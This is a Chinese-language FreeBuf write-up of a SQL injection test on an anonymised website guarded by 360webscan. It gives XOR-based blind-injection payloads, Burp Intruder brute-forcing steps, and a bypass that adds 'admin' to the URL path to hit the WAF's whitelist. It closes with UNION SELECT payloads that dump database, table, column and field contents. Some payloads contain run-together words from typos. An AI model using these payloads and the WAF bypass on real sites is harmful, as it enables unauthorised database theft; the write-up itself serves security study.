記一次對WebScan的Bypass
*本文作者:GGyao6,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
PS:此網站漏洞已被處理,本文內容僅供技術交流,嚴禁用於非法用途。
前言
今天測試了一個網站,發現存在360webscan的攔截,於是便開始了一波“bypass”。
進入主題
1. 判斷注入點
使用“and 1=1”測試了一下,慘遭攔截。隨後又測試了一下or也是被攔截的。
但是按位異或運算(^)未被攔截也可以使用xor。
“按位異或運算”測試:
在這裡先介紹下“按位異或運算”,這種測試注入點的方法最開始是看一位大佬發過,原諒我已經找不到這位大佬的文章了。但是這位大佬並未解釋使用這種方法的具體原理是什麼,下面我給大家簡單介紹一下按位異或運算使用的基本規則:
1^1=0 1^0=1 0^0=0
具體原理參考: ofollow" rel="nofollow,noindex" target="_blank">https://blog.csdn.net/zpy1998zpy/article/details/80667775
栗子:
在這裡我們對我們的網站進行測試:
頁面正常payload: xxxnid=216^(1=1)^1
3. 使用“按位異或運算”判斷一下當前資料庫名稱的長度:
Payload: xxxnid=216^(1=(if(1=(length(database())=1 ),1,0)))^1
然後我們開啟bp,將抓取到的資料包傳送到intruder模組,然後把資料庫長度值設定為變數。
payload type設定為numbers遍歷1-15這15個數字。
最終我們得到資料庫欄位的長度為13。
4. 使用“按位異或運算”結合盲注來獲取資料庫名稱:
這裡我們使用的是regexp正則注入,簡單介紹一下:
用法: select user() regexp ‘^[a-z]’;
這裡是在匹配使用者名稱的第一位:
繼續匹配第二位的用法: select user() regexp ‘^r[a-z]’;
類似的盲注方法還有like匹配注入、left()函式、mid()函式、substr()函式等等。
構造Payload: xxxnid=216^(1=if(((database())regexp '^a ' ),1,0))^1
在這裡我們將從資料庫的第一個欄位開始進行盲注。
這裡我們使用字典來爆破欄位名稱,我們指定的字典內容包括常用的大小寫字母、特殊符號、數字等。在這裡的時候我遇到了個坑,我使用的字典裡沒加入數字,但是資料庫名稱裡包含數字,導致我爆破到第三個引數的時候就沒有結果了,最後發現字典裡沒把數字加進去,真的是賊菜。
爆破出資料庫的第一個引數是“p”。
依次爆破,最終我們得到了資料庫名稱。
5. 接下來就是構造獲取表名的payload了。
我們使用left()函式進行構造,先來看一個的栗子:
select left((select table_name frominformation_schema.tables where table_schema='test' limit 0,1),1)='u';
由此我們可以構造payload為:
xxxnid=216^(1=left((select table_namefrom information_schema.tables where table_schema=database() limit0,1),1)='u')^1
事情並不是一帆風順的,360webscan再次攔截,經測試,攔截的是from關鍵字,這就很難受了,測試了很多方法都沒有繞過過濾,內聯註釋、編碼、干擾正則等方法都沒辦法。
將from加上別的字元就不攔截。。
6. 最後還是找到了“樓蘭”大佬幫忙。
大佬告訴我,360的webscan是可以繞過的,原來360webscan自己有定義一個白名單,只要URL路徑中出現了admin等關鍵字時候就能繞過檢測。
後來大佬又給我推薦了一篇文章,講的是繞過360webscan的原理,這篇文章講的真好,附上文章連結: https://www.leavesongs.com/penetration/360webscan-bypass.html 。後來我在網上一搜,原來已經有不少前輩研究過這個繞過方法啦,需要學習的東西真的很多,加油!
最後自己也去看了一下360webscan的原始碼,白名單如下:(程式碼地址: https://github.com/baiqj/host_manager/tree/master/other/360safe )
再次構造payload: xxx/xxx/admin /?nid=216 union select 1,2,3,4,5,6,7,8 -- -
7. 接下來就好說了,都是常規操作了
這裡我們先看一下當前資料庫名稱,可以看到,和我們之前盲注得到的資料庫名稱是一致的。
Payload:xxx/xxx/admin/?nid=1union select database(),2,3,4,5,6,7,8 -- -
接下來是爆出所有的表名:
Payload: xxx/xxx/admin/?nid=1 unionselect group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tableswhere table_schema=database() -- -
爆出所有欄位名稱:
Payload: xxx/xxx/admin/?nid=1union select group_concat(column_name),2,3,4,5,6,7,8 frominformation_schema.columns where table_name='表名' -- -
爆欄位內容:
Payload: xxx/xxx/admin/?nid=1union select group_concat(欄位1),group_concat(欄位2),3,4,5,6,7,8 from 表名 -- -
總結
1. 使用“按位異或運算”來判斷注入點,繞過一些過濾了and、or等一些關鍵字的waf,真的是非常不錯的姿勢。 2. 我們在一個頁面找不到可顯欄位的時候,可以換幾個頁面試一下,也可以將前面引數id值改為負,這樣都可以讓可顯欄位回顯到頁面上。 3. 最後一點,就是最後通過在路徑中新增白名單關鍵字“admin”繞過網站的防護,這個思路真的非常棒。
*本文作者:GGyao6,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。